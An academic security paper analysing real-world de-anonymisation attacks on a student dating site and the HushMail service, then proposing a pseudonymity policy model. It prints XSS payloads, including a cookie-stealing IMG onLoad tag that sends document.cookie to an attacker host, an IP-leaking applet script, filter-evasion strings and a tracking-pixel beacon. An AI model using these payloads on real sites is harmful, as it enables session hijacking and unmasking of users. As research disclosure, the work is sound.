# Real World Patterns of Failure in Anonymity Systems

Richard Clayton, George Danezis, and Markus G. Kuhn

University of Cambridge, Computer Laboratory, Gates Building,
JJ Thompson Avenue, Cambridge CB3 0FD, United Kingdom
{richard.clayton, george.danezis, markus.kuhn}@cl.cam.ac.uk

**Abstract.** We present attacks on the anonymity and pseudonymity provided by a "lonely hearts" dating service and by the HushMail encrypted email system. We move on to discuss some generic attacks upon anonymous systems based on the engineering reality of these systems rather than the theoretical foundations on which they are based. However, for less sophisticated users it is social engineering attacks, owing nothing to computer science, that pose the biggest day-to-day danger. This practical experience then permits a start to be made on developing a security policy model for pseudonymous communications.

## 1 Introduction

In recent years many new proposals for implementing anonymous and pseudonymous systems have appeared in the literature. Systems have been fielded that advertise the provision of anonymity or pseudonymity properties to their users. The strength of the underlying mechanisms has varied considerably.

Anonymous remailers implement Chaum MIXes [1], while the Freedom Network [2] designed by Zero-Knowledge Systems Inc. implements a variant of "onion routing" [3] to route arbitrary IP connections through intermediary nodes to provide sender anonymity. Other products try to offer privacy by means of different and sometimes weaker mechanisms. Privada [4] provides an anonymizing web proxy that hides the client side information that is present in HTTP requests from the server. Crowds [5] plays "pass the parcel" with HTTP requests so that the true source is obscured. Webmail systems such as Yahoo, Hotmail and many others allow sign-up without revealing one's true identity and can therefore be considered to provide anonymous sender and receiver mail to anyone that trusts them. HushMail [6] takes this a stage further by providing a web-based store-and-forward site for end-to-end encrypted email traffic.

A lot of theoretical work has gone into looking at attacks on systems that implement strong mechanisms: traffic analysis against onion routing [7], $(n-1)$ attacks against simple MIXes [8] and denial-of-service against DC-nets [9]. All of this research has produced many theoretical and some practical attacks against these mechanisms and has often proposed stronger mechanisms for protecting the systems concerned.

Ira S. Moskowitz (ed.): Information Hiding 2001, LNCS 2137

However, these strong systems are more the exception than the rule. Many system designers take what they believe to be a practical view of possible attacks and build a product that might in principle offer less security, but is expected to be cheaper to build and easier to use.

We have looked at some of these systems. What we have found in practice is that the vulnerabilities that can lead to pseudonymity compromise are not found in the anonymization methods used for their communication channels, but in simple engineering issues overlooked by their designers, or inadvertent feature interactions. As illustrations we discuss some attacks that are possible against a student-designed website that provides a "lonely hearts" dating service, and some weaknesses that can be found in the professionally developed HushMail web-based email system.

## 2 Student Dating Service

A popular Cambridge website provides a dating service aimed at local university students. It offers users the ability to sign-up for a pseudonym using any email address. The users then provide an online description of themselves that they hope will attract the romantic attention of other users. Users can send messages pseudonymously to other users by passing them through the system. These messages are available on the server when the user has "logged in" or they can optionally be forwarded to their real email account. The system has been designed and is administered by students, but its technical quality makes it comparable with many commercial web-sites.

The site makes a virtue of the anonymity it provides, though of course this is only available between the users, since the administrators are privy to everything passing through their machine. However, we found a series of attacks that allow arbitrary users to determine the identity of other users.

### 2.1 The Traffic Analysis Attack

Users of the dating service have the option to have messages addressed to their pseudonym forwarded to a "real" email address. In practice, almost all users share a single Cambridge University email server. Amongst the email collection services available is an FTP daemon. Naturally, Unix access control prevents the fetching of people's email by FTP, but a "`dir /homes/*/*/*/inbox`" command will betray the time and date of the last change to their maildrop – a useful feature for many users.

Therefore, if a message is sent to a pseudonym on the dating service, it is possible to determine which students received an email shortly thereafter. Hence it is possible to link a pseudonym with a real email identity, which a standard directory service will turn into a name and location.

In practice, scanning the University's 16,000 email users by means of the "`dir`" command takes between one and seven minutes, depending upon the server's other workload. This means that a single message will not yield an

exact match to the student, but a second message will yield a different subset of students and the target will appear in both. The size of the subsets will vary by time of day, but the attacker can choose a quiet time. Some practical problems complicate the attack since some students receive email pretty much constantly. Nevertheless, we found that, even at the busiest periods, the number of candidates for a pseudonym rapidly becomes very small, and we were always confident of having made a positive identification.

### 2.2 The Java/JavaScript Attacks

The dating service made the unfortunate decision to allow users to use arbitrary HTML syntax to enrich their messages with particular layouts, colors, links or images. Although this makes everything more "fun", it allowed a series of attacks.

The first attack involved a mixture of Java applets and embedded JavaScript. A message is sent to a pseudonym containing an applet and a client-side script that executes when the message is viewed with a browser. The Java applet is used to access the local IP address and the JavaScript is used to send the result back to the attacker, using the dating service message system so as not to reveal the identity of the attacker to the victim.

```
// JavaScript cannot access IP addresses, so a
// little bit of Java is used for this
<APPLET name="applet" codebase="http://our.machine"
        code="applet.class" mayscript>
</APPLET>
// Create a form
<SCRIPT> w = window.open("","w");
w.document.writeln("
  // dating service submission CGI details
  <FORM NAME=\"F1\" ACTION=\"msg.asp\" METHOD=\"POST\">
  <TEXTAREA NAME=\"message\"></TEXTAREA>
  <INPUT NAME=\"id\" VALUE=\"999\"> //receiver identity
  <INPUT TYPE=\"submit\">
  </FORM>");
w.document.close();
// Use the Java applet to fetch the IP address
w.document.F1.message.value=document.applet.getIP();
// and send the captured data to user 999
w.document.F1.submit();
</SCRIPT>
```

One might have hoped that the JavaScript security model would prevent this attack from working. A script can only read or report upon data from pages that originate from the same server as the script; i.e. JavaScript is implementing a security policy of compartmentalization. However, most security barriers are avoided by using the dating service's own messaging system to return the IP address to the attacker.

Nevertheless, the JavaScript security model should be sufficient to protect the user. If a script dynamically creates a web form and fills it in with the information to be leaked, then it should be trapped at the point of submission. The designers of most well known browsers are aware of the misuse of forms and so they present a warning before a form is submitted. However, in practice, forms are so common that this check will be disabled on most end-user systems. Even where the check is active the user is unlikely to pay it much heed. A suspicious user would have to read the raw source of the web page to assess their position, because no browser we are aware of provides any information along with its warning on exactly what information is being submitted.

We passed details of our attack to the website administrators. They were reluctant to remove the ability for users to include HTML tags in their adverts and so they chose to scan for "dangerous" tags and hoped to filter out executable content that way. They chose to scan the message text for the string "`script`". This turned out to be relatively easy to circumvent.

The simplest scheme was to arrange for the JavaScript statements to be within a string (as can be done by providing a URL in the form `javascript:` *`statement`*) and then string escapes can be used to avoid detection by a naïve scan, e.g. one could use `javascr&#105;pt:`*`statement`*.

A second way to bypass the filtering was to execute arbitrary code inside event handlers associated with HTML tags. The most useful event handler, as it is executed every time the page or image loads, is `onLoad="`*`statement`*`"` which will treat the statement as JavaScript despite the string "`script`" not being present at all.

The only practical way for the website builders to allow "good" HTML tags and to disallow "bad" ones was to parse the entire message and to only allow through those tags whose effects may be considered to be benign; and this was their eventual solution. Any dangerous, or unknown, tags are suppressed. JavaScript is too complex a language for any other approach to stand any reasonable chance of working for all possible browser platforms.

### 2.3 Simple Image Attacks

One problem with the JavaScript attacks was how to communicate information back to the attacker. The dating system's own messaging system could be used. However, there are other ways in which the information can be passed.

In particular, we used JavaScript to creat URLs that would identify the user, e.g. `<IMG SRC="http://our.machine/person88.gif">`. If such a URL points to the attacker's machine then the arrival of an HTTP request leaks both the IP address of the requestor and any information encoded into the URL.

The IP address will of course be that of the requestor, which could be a proxy web cache. However, where the URL is expected to be secure or dynamic content then many browsers will bypass the cache and the client machine will access the remote site directly.

If the URL includes encoded information then the server will receive requests for image data under a wide range of filenames, apparently requiring a special

purpose image server to fulfill. However, it turned out to be unnecessary to send an image at all. We found that by the simple expedient of marking the image to be just one pixel square, the browsers we tested failed to show that there was a "broken link" present, e.g. `<IMG SRC="http://our.machine/person88" width=1 height=1>`.

### 2.4 The Cookie Stealing Attack

The URL scheme described above can also be used to completely compromise user identities from the web server. With these identities we were, in principle, able to link pseudonyms with email addresses, breach confidentiality by inspecting existing sent and received messages and, perhaps most damaging, to impersonate a user by generating messages under their pseudonym.

The HTTP protocol is stateless, but since most modern web services require some concept of state, this led to the creation of "cookies". These are key/value pairs associated with a particular web site. They are assigned by the site and then returned by the client with each future page request. The cookies provide a session-based index into whatever state may be held on the server, such as the identity of the user and whether they have logged in.

Servers seldom determine if cookies have been returned by a connection from the expected remote IP address. Therefore it is important that their values cannot be guessed, because otherwise it would be possible to "capture" someone else's session and thereby acquire their state and privileges.

We used the HTML tag:

```
<IMG SRC="logo.gif"
onLoad="src='http://our.machine/'+document.cookie"
width=1 height=1>
```

to cause the cookie value to be delivered to our machine by a browser GET. A simple 60-line Perl program then processed the web log in real time, picked out the cookie, and generated an HTTP request that was indistinguishable, to the dating service, from a genuine request to review the user's personal data. The Perl program then delivered a neatly formatted list of de-anonymised pseudonyms.

The IMG tags we used could either be placed in an advert that random people might view, or sent in a message to a particular user. In the latter case, if the messages were forwarded by email then the subterfuge was revealed because the system did not remove the HTML tags when generating the email text.

This type of cookie-stealing attack is not entirely new. Similar schemes, though perhaps of more complexity, are described in news reports [10], which highlight that perhaps half of all commercial services that allow user content on sites fail to filter HTML tags properly. Further exploits that depend upon flawed JavaScript security models are described by Anupam and Mayer [11].

It is worth noting that the cookie stealing attack was so devastating because the cookie provided proof to the dating service of being "logged in" as a particular user and there were no other barriers to accessing private information. A

similar attack on eBay (`http://www.ebay.com/`) will yield a cookie, but without a password as well, it is not possible to do anything useful with a stolen identity.

## 3 HushMail

HushMail (`http://www.hushmail.com/`) is a web-based email system. It provides end-to-end encryption for email sent to other HushMail users by means of a Java applet. The applet provides a user interface for the email system and also does all necessary cryptographic work on the user's machine. The Java source is available [12] for inspection so that the community can assess how well the system was designed.

After the initial page all traffic to HushMail is sent via SSL (`https://`). This provides a level of protection against eavesdropping during transit that can be considered adequate at 128-bit SSL but inadequate if the regrettably common 40-bit SSL is used. Of course the SSL will not provide any protection against an attack mounted at the HushMail server itself.

### 3.1 The Java Applet

When users first connect to HushMail they supply their email address, which serves to uniquely identify them. They are sent a copy of the Java applet and they then provide credentials by means of a passphrase. The system retrieves any necessary keying material from the HushMail server and it is then possible to read or send email.

The first design weakness is thus already apparent. The applet is supplied after the username has been established. Therefore, even if careful attention has been paid to ensuring that the Java code is "safe" and to checking that the applet matches the published source, it is possible for an individual user to be targeted and supplied with a "dud" applet. Unless they check that it is the correct applet on every occasion, they could be caught out. If the applet was served prior to the username being typed, then individuals could hope that someone else would also receive the dud applet and they would be paranoid enough to check it against the source and alert the community if any discrepancy was found.

The applet is signed by HushMail to provide assurance that it was provided by them and not a "man in the middle". Unfortunately, the signing key is only a 512-bit RSA key and recent experience [13] has shown that this length of key is realistically vulnerable to attack.

### 3.2 The User Passphrase

At the center of the HushMail system is the user's passphrase. This is used for various purposes of which the most important, besides allowing access to the system itself, is to act as a key to Blowfish based encryption that protects the keying material whilst it is stored on the HushMail server.

As already indicated, the passphrase is used to prove the authority to access the particular username. Since sharing the passphrase with HushMail would compromise the keying material, the least significant 80 bits of the SHA-1 hash of the passphrase are shared instead. Passing this shared secret is necessary when the account is first created, but instead of using a challenge-response scheme the 80-bit value is passed across the link on subsequent logins as well. This means that any "man in the middle" (or someone who can see through the thin veil of 40-bit SSL) will have the hash value available to attempt a brute force attack.

We estimate that a brute force attack using our local undergraduate teaching machine pool (40 identical 400 MHz Pentium II machines) for the length of a four week vacation (a straightforward resource to arrange) is capable of checking about $2^{46}$ keys. Hence, even if upper and lower case letters and punctuation are used, eight character passphrases are vulnerable. Although the HushMail site gives an example of a strong passphrase, there is no advice about how long a passphrase should be to be considered secure. This is unfortunate because other research [14] shows that with limited advice given to users, about a third of the passwords they choose are crackable using a dictionary alone.

There is a further weakness in the way the hash is created. Because only the passphrase is hashed a single brute force attack can yield all passphrases for which a hash is known and not just one. An obvious fix to this problem would be to hash a concatenation of the username and passphrase; or more classically [15] one could provide a "salt" value to be hashed in with the passphrase.

### 3.3 Traffic Analysis

One of the less obvious weaknesses in the HushMail system might perhaps be described as its failure to meet user expectations. Users may believe that everything they send through the system is confidential and untraceable. However, all HushMail actually protects is the body of messages. The subject line and the "to" and "from" addresses pass in cleartext and are available on the server should anyone look there.

To make matters worse, users can request notification emails (which lays them open to exactly the "recently arrived email" attack described above for the dating service) and, for no good reason, these emails include (en claire) the HushMail addresses of sender and receiver. Therefore anyone with access to a user's normal email can learn of their ownership of a particular HushMail account and who is writing to them that way.

HushMail is not unique in leaking traffic data this way. PGP and S/MIME also fail to protect the subject line, leaving it in plaintext, and of course the addressing information must necessarily exist at a different protocol level. Nevertheless, for someone with access to the HushMail server, there is substantial scope for traffic analysis of HushMail usage. This is compounded by the system requiring those who wish to exchange encrypted email to join HushMail. This means that any close-knit group will be likely to migrate more and more members to the system to take advantage of the encryption, but thereby reveal more about their activities than they may have intended.

However, if such a close-knit community is concerned about the issues of serving the applet or brute-forcing the SHA-1 then they do have the opportunity of making a stand-alone applet and replacing the crypto-algorithms with ones of their own choice. This is because one of the more interesting effects of making the cryptography work from end to end is that the same HushMail infrastructure can be used with different components by replacing SHA-1, Blowfish etc.

## 4 Generic Types of Attack on Trusted Intermediaries

There are many systems that provide anonymity to their users solely by being trustworthy. The dating service attempts to be a sophisticated version of such a system, but there are many other real world examples of trusted intermediaries, many of which are not usually thought of as anonymity systems per se. For HTTP traffic you can use a web cache. For chat you can use a web-based chat room or indeed a Multi-User Dungeon (MUD). For email you can sign up with a system such as Hotmail or Yahoo and acquire a pseudonymous address. If you have evil intent you might use an intermediate system to relay your telnet commands to attack a remote site. A more sophisticated scheme can be seen in Crowds [5], where web requests are passed to peer systems, and an arbitrary node eventually sends the request to the remote site.

There are some generic types of failure with this sort of system.

### 4.1 Compromise of Intermediary Machine

In any system that uses intermediate machines, complete trust must be placed upon at least one of these intermediaries not to reveal the information it holds. This trust may not be well founded if an attacker can appear with a court order to seize logs or content. This has already happened with systems such as AOL [16], Yahoo and many others [17]. The trust may also be misplaced if the intermediate machine can be compromised at the system level. Security notification services such as BugTraq list dozens of security holes that potentially allow access to an intermediate machine if its configuration was not being actively maintained, or was never suitable for providing a secure service.

Paradoxically, when the intermediate machine is being used as a "cut-out" between an attacker and a target, then it provides anonymity precisely because it has been compromised. But if it cannot be prevented from keeping logs of activity, the attacker is likely to be traceable and if it cannot be kept secure from further attack by others, then it may not serve its purpose for very long.

### 4.2 Insufficient Filtering by an Intermediary

Assuming that the intermediary can be trusted, a generic failure of this type of anonymity system is for the intermediary to fail to remove identifying information.

An obvious example would be an email relaying system that failed to remove the "signature" from a relayed email and revealed the author. Less obvious would be the user inadvertently leaking information over time – disclosing a town in one message and a street name in another. Where this leakage is being actively encouraged it is usually described as "social engineering". Guides to "safe" use of chat-rooms [18] now stress that children should not only refuse to give their address but also to be wary of questions such as "what school do you attend?"

Web caches were not actually invented to provide anonymity, but rather to reduce bandwidth demands by keeping local copies of remote content. In a world where the number and quality of "hits" on a site determines its business success there is considerable interest in determining who is the "other side" of a cache using so-called "cache-busting" techniques. This has led to a small war between the cache developers, eager to raise the percentage of content they provide locally to save external bandwidth, and the remote sites that are eager to establish one-to-one communication with browsers to leverage their business model. Since this war is fundamentally about money, it is no surprise to find both sides ignoring the community standards that should ensure that caches work correctly.

Meanwhile, the anonymity enhancing properties of web caches have become recognized and systems such as `http://www.anonymizer.com/` and Privada have appeared. These systems have had to become extremely complicated in order to defeat the cache-busters; special problems arising with the use of Java and JavaScript [19] which parallel the problems we described on the student dating service. Privada's system will now keep "cookies" stored on their servers so that you can present several different personae to remote sites depending upon which collection of cookies you currently wish to admit to possessing.

### 4.3 Out-of-Band Communication

Another generic failure mode is to persuade the sender to transmit "out-of-band" information that discloses their identity. By "out-of-band" we mean that the intermediary system does not have the opportunity to block the traffic because it does not pass through them. However, it can be the responsibility of the intermediary to prevent the requests for this information from reaching the target.

An intermediary that is providing email anonymity must remove email headers such as "Return-Receipt-To" or "Disposition-Notification-To" [20]. Otherwise, recipients are likely to email their identity straight back to the attacker.

Where HTML is being transmitted – perhaps by email – the presence of procedural content such as Java or JavaScript can be used to disclose information. As we saw above, blocking such content can clash with a desire to provide a rich user experience.

Even a system as complex, and secure, as a MIX system for handling email can be ineffective if the user checks all of the intermediate hops through the system by looking up their hostnames before sending an email. Inspection of the DNS traffic will show the route to be followed. Similar considerations apply to Onion Routing systems or, to some extent, to Crowds.

## 5 A Security Policy Model for Pseudonymity

During discussions with the administrator of the dating service, when the attacks on his system were explained, he told us that no "real" users had ever tried anything similar. However, some users had been trying to break through the anonymity. Instead of technical attacks these users were using "social engineering" to de-anonymize their victims. They would ask questions such as "Do you know $X$?", "Did you go to $Y$'s party?", "Were you around when $Z$ did $W$?". This was used to reduce the set of possible user identities. The combination of many such questions provided a good method to find the identity of a user.

If information is not in the public domain, then its disclosure through a pseudonym will create a linkage between that information and the pseudonym. If it is then disclosed by the user, or by another pseudonym, then a linkage may be made between pseudonyms or between the user and a pseudonym.

### 5.1 An Informal Security Policy Model

Our experiences in attacking real world systems have led us to some preliminary thoughts about the nature of security policy models that will support pseudonymity. These ideas are far from complete and the high-level way they are currently expressed makes them impossible to implement. Nevertheless, we hope that our thoughts will be useful in mapping out the issues that will eventually need to be covered.

A security policy model for pseudonymity is required that will ensure that it is not possible to deduce a link between a physical user and a pseudonym, or between two pseudonyms controlled by the same physical user. The model is to be applicable to communications systems where there is a continuous flow of messages, rather than to systems such as medical databases where information is flowing from a user and the aim is to prevent researchers from defeating the anonymization process.

A simple-minded security policy model would forbid pseudonyms from revealing any information about the physical user. In such a model each pseudonym would only be permitted to access information that it has received through its pseudonymous channels. On the other hand, the user can get any information from any pseudonym but is not allowed to communicate it onward to any other pseudonym. Using this hierarchical model, a user can be sure that no personal information will be transmitted on any pseudonym so as to reveal any linkage with a user or with another pseudonym.

This model breaks when the attacker can interact with the user in another milieu. As the user is permitted to know everything any of the controlled pseudonyms knows, revealing such knowledge allows a linkage to be made. This attack, in the dating service described above, would succeed if someone overheard a real person repeating a secret told to a pseudonym through the service. A link would then be formed between the real life person and the pseudonym.

Therefore a stricter security policy model is needed. Enforcing total compartmentalization of information between all pseudonyms and the physical user

clearly works, because it models the perfect separation of identities that exists between different users. However, complete compartmentalization does not lead to a practical scheme. There will, of necessity, be information leaks between the physical user and the pseudonyms. There are two main reasons for this.

The first reason is that pseudonymous identities need to be bootstrapped at some point. Their initial state goes beyond brief descriptive details to what they "know" and can converse about. It will never be convenient, or useful in practice, to start each pseudonym as a *tabula rasa*, and therefore the initial state will inevitably come from the user's personal store of knowledge. For this not to immediately disclose the identity of the controlling user, one has to make sure that insufficient information is included to identify them, or to link a new pseudonym to an old one. Identity can be further obscured by adding some random noise to the new pseudonym, in the form of information that is incorrect or irrelevant. In systems such as the dating service, falsifying information such as background, age, sex, beliefs or experiences will help to hide identity. It is a sad conclusion that the safest way for a user to avoid being linked to a pseudonym is to tell lies continually, to be so bland as to have no distinguishing features, or to weigh the consequences for several days before saying anything at all. None of these approaches is likely to lead to a rich experience on a dating service.

The second reason is that for a pseudonym to be useful to a user, some information must flow between the two. A whistleblower who assumes a pseudonym must be able to pass compromising material to the pseudonym; an alcoholic who discusses his addiction must report on progress towards sobriety; indeed a person using a pseudonym on a dating service must learn the time and place of an arranged meeting.

Therefore, the strict compartmentalization model must be augmented by filters that will allow some information to flow. Security depends upon the ability of the filters to identify sensitive information and block it, whilst allowing through data that is safe. In general terms, the safe information is that which is publicly known and so cannot form a significant linkage between a user and a pseudonym.

The idea of filters to augment a security policy model can be seen in all practical security systems. One might implement Bell-LaPadula to process reports from spies in the field, but it will still be necessary for people cleared for this information to produce an intelligence appraisal and ship it to military commanders whose security level does not allow them to see the raw reports. The difference for a pseudonymity system is that whilst security policy models like Bell-LaPadula or Chinese Wall describe some data flows that are always allowed, we disallow *any* movement of arbitrary data but do allow specific types of data to be moved unconditionally. This is closely related to the usage of "mail guards" to vet email that moves between security compartments [21][22].

### 5.2 Plausible Data and Public Data

The security policy model being presented is one of complete compartmentalization, augmented by data flows from one compartment to another – provided that

a filter will allow the flow. The two types of data flow that the filters can permit are of public data (that everyone knows) and plausible data, which although not in the public domain might plausibly have been received by a pseudonym or user, having originated from someone else.

Data can be made superficially plausible by such devices as "$X$ told me in confidence that", which suggests that although the pseudonym might actually be controlled by $X$, it may be controlled by someone else who $X$ has talked to. To make such subterfuges stand up to deeper scrutiny then plausible traffic must be passed between $X$ and their own pseudonym and, if it is encrypted, care must be taken to ensure that any necessary keys are plausibly fetched from a server.

It can perhaps be noted that there are further dangers in an environment where lots of information is flowing around between pseudonyms (which we might loosely characterize as a "rumor mill"). Perfect enforcement of the security policy may be counterproductive. A failure to pass information from a user to their pseudonym may allow an analytical attack which indicates that information never leaks across specific channels. Therefore it is important that information is sometimes passed to one's own pseudonyms, lest they stand out.

As indicated above, there need be no restrictions on the flow of public information. The assumption is that, as everyone knows this information, it cannot be used to trace individuals. This is too simple a view. A disclosure of a large amount of public information could still reveal a linkage between a pseudonym and a physical user: particular interests, patterns of search, location, language or medium preferences. This might be compared with declassifying satellite intelligence images: releasing a few may be acceptable, whilst declassifying all of them can reveal information about the imaging capabilities, the selection of targets, timing of rescans, etc.

A further problem is that individuals are not always in a good position to judge what is, and what is not public information. This is intrinsically a social phenomenon, and therefore some amount of co-operation with others could be needed in order to correctly classify information. However, directly asking others whether they know some information will reveal the information. In theory one can avoid such leakage by using voting schemes and zero-knowledge proofs, but one has now passed far beyond the realm of implementable systems.

### 5.3 Covert Channels

The definition of a covert channel is "a communication channel that allows a process to transfer information in a manner that violates the system's security policy" [23]. This definition is wide enough to extend a topic usually reserved for the analysis of multi-level security policies to include the pseudonymity security policy model we are discussing. A covert channel can be seen as any communication channel that violates the strict compartmentalization, without the filters managing to preserve the pseudonymity. Viewing failures by the filters as covert channels allows us to use well-established methodology to analyze and reason about them. This is a similar approach to that taken by Iachello [24], who used covert channel analysis to reason about MIX systems.

Eliminating covert channels is known to be difficult and the usual approach [23] is to ensure that their bandwidth is limited to one bit per second. However, this rate might be too fast for our purposes, where 10 to 20 bits of information will sometimes be quite sufficient to identify a user.

An important way of avoiding covert channels is "non-interference", which is achieved by ensuring that there is no sharing of resources between different parts of the system. Where there is sharing, then the management of the shared resource will always leak information between system components. The traffic analysis attack described in Sect. 2.1 can be seen to arise as a result of sharing the mailbox resource between the real user and a pseudonym.

It is normal to consider only shared system resources, such as CPU cycles or disk access, in covert channel analysis. What is novel about systems offering pseudonymity is that the user is also a shared resource, and covert channels result directly from this. One person can do more or less only one thing at a time and so it is difficult for a pseudonym to have a conversation at the same time as the user. Alternatively, it might be noticed that a pseudonym answered their mail at exactly the time that a particular user came into the office.

Covert channels can also be provided by steganography. Watermarking techniques can be used to embed tracing material into messages that a filter is prepared to allow to pass between pseudonyms. Users also have many individual characteristics that are so intimately bound to them that they are almost impossible to filter out of their interactions. Such information might be the style of writing or the usage of dialect words. Rao and Rohatgi showed [25] that it was possible to identify users by their frequency of usage of particular words.

However, when an attack is based on statistics, fairly large volumes of data need to be analyzed. This makes the attacks fragile against adversaries who actively seek to mislead. We propose the concept of a "critical identity mass", which is the amount of signal data needed by an efficient method to link a pseudonym to a particular profile that uniquely belongs to a physical user. The use of the term "signal" data contrasts with any attempt by the user to introduce "noise" to mislead an attacker. We leave open the question of exactly how one measures this critical identity mass, but observe that it will be significant importance in the future. Distinguishing amongst pseudonymous users is not only of interest to users of dating services but also to law enforcement seeking to identify offenders who are hiding in cyberspace.

## 6 Conclusions

In the attacks described above, very few target the pseudonymous channel itself. Even if the channel was perfect and immune from compromise or failure of its cryptographic components, then the attacks would continue to work. The use of the dating service's own messaging system to not only deliver an attack but also to retrieve the results illustrates this point, because the channels are secure enough to prevent the identity of the attacker from being revealed. All of

the attacks are possible because the engineering of the systems has been done without a methodology that will give an overall protection of identity.

A general conclusion to be drawn from the traffic analysis attacks is that no operation concerning a pseudonym should have an observable side effect that could leak the identity of the user controlling the pseudonym. It is necessary, for example, to be able to send messages to users without the user's systems revealing that a message was received. To put it another way; one must think about the whole system when adding functionality like email notification.

Most of the attacks we described rely on the processing done on the client side of a web browser being inappropriate for a pseudonymous system. Executing arbitrary code, in the form of Java or JavaScript programs, is widely viewed as providing serious challenges to user security. Most concerns have centered on preserving the confidentially of data. Thus, mobile code is generally prohibited from accessing local resources and is run in a confined environment, often referred to as a sandbox. When one starts to consider protecting pseudonymity one sees that the sandbox needs to have other, much stronger, characteristics as all sorts of observable interactions with the environment could reveal an identity.

But mobile code is not the only attack tool we used. As we saw with the simple image attack, utilizing a URL pointing at our machine; any action that produces observable and traceable interactions with the environment can be used to break the pseudonymity of a system. In an ideal world, any processing that is based on data that arrives from a pseudonymous channel should not be able to determine, or even worse signal back, anything that identifies a user.

As we see more and more services claiming to provide pseudonymity, it is important to start thinking beyond the pseudonymity properties of communication channels, and toward a security policy that protects pseudonymity throughout the system. Such a security policy needs to determine what each pseudonym is allowed to see or transmit and in what way, so that information leaked about real users is that which they have consciously decided to leak.

However, many systems need only preserve pseudonymity for a limited period. After all, the dating service is designed to put people in touch in the real world and whistleblowers are unlikely to have new revelations every day. We have also seen that totally perfect policies may identify connections just as much as totally imperfect policies would do. Therefore pseudonymity systems should mainly be seen as providing tools that will assist users in controlling the information they release. The touchstone for a good system design should be that the information accessible by technical means corresponds closely to the information that the user can intuitively see that they have released.

## References

[1] Chaum, D.: Untraceable Electronic Mail, Return Addresses, and Digital Pseudonyms. Comm. ACM 24(2), 84–88 (1981)

[2] Goldberg, I., Shostack, A: Freedom Network 1.0. Zero-Knowledge Systems, Inc. `http://www.freedom.net/info/freedompapers/Freedom-Architecture.pdf` (November 1999)

[3] Goldschlag, D.M, Reed, M.G., Syverson, P.F.: Onion Routing for Anonymous and Private Internet Connections. Comm. ACM 42(2) (1999)
[4] Privada Inc: How privacy is maintained. http://www.privada.com/news/maintained.html (2000)
[5] Reiter, M., Rubin, A.: Anonymous web transactions with crowds. Comm. ACM 42(2) 32–38 (1999)
[6] Hush Communications: http://www.hushmail.com/
[7] Syverson, P.F., Tsudik G., Reed M.G., Landwehr, C.E.: Towards an Analysis of Onion Routing. Security Workshop on Design Issues in Anonymity and Unobservability Berkeley, Ca. (July 2000)
[8] Kesdogan, D., Egner, J., Büschkes, R.: Stop-And-Go-MIXes Providing Probabilistic Anonymity in an Open System. IHW'98 – Proc. of the International Information Hiding Workshop. (April 1998)
[9] Waidner, M., Pfitzmann, B.: Unconditional Sender and Recipient Untraceability in spite of Active Attacks – Some Remarks. Fakultät für Informatik, Universität Karlsruhe, Interner Bericht 5/89 (March 1989)
[10] Miles, G., Bowden, E.J.: Scripting Backdoor Steals Secrets. ZDNet. http://www.zdnet.com/zdhelp/stories/main/0,5594,2585941,00.html (June 12, 2000)
[11] Anupam, V., Mayer, A.: Security of Web Browser Scripting Languages: Vulnerabilities, Attacks, and Remedies. 9th USENIX Security Symposium (2000)
[12] Hush Communications Anguilla, Inc.: http://www.hush.ai/
[13] Almgren, F., Andersson, G., Granlund, T., Ivansson, L., Ulfberg, S.: How We Cracked the Code Book Ciphers. http://codebook.org/codebook_solution.html
[14] Yan, J., Blackwell, A., Anderson, R., Grant, A.: The Memorability and Security of Passwords Some Empirical Results. TR 500, University of Cambridge Computer Laboratory (September 2000)
[15] Morris, R., Thompson, K.: Password Security: A Case History. Comm. ACM 22(11) 594–597 (1979)
[16] Sporkin, S.: McVeigh v Cohen. United States District Court for the District of Columbia, Civil Action No 98-116. http://www.epic.org/privacy/internet/aol/navy_decision.html (1998)
[17] Bell, B.A. (ed.): CyberSecurities Law Case Digest : Corporate Cybersmear Lawsuits. http://www.cybersecuritieslaw.com/lawsuits/cases_corporate_cybersmears.htm
[18] Childnet: Chat Tips Banner. http://www.chatdanger.com/banner/banner.htm
[19] Smith, R.M.: Problems with Web Anonymizing Services. http://users.rcn.com/rms2000/anon/anonprob.htm
[20] Fajman, R.: An Extensible Message Format for Message Disposition Notifications. Request for Comments 2298. http://www.ietf.org/rfc/rfc2298.txt (March 1998)
[21] Denning, D.E.: Cryptography and Data Security. Addison Wesley (1982)
[22] Anderson, R.: Security Engineering – A Guide to Building Dependable Distributed Systems. John Wiley & Sons (2001) 146–148.
[23] National Computer Security Center: A Guide to Understanding Covert Channel Analysis of Trusted Systems. NCSC-TG-030, Version 1 (November 1993)
[24] Iachello, G.: Single MIX Protection Profile, Revision 1.11. http://www.iig.uni-freiburg.de/~giac (May 1999)
[25] Rao, J.R., Rohatgi, P.: Can Pseudonymity Really Guarantee Privacy? 9th USENIX Security Symposium (2000)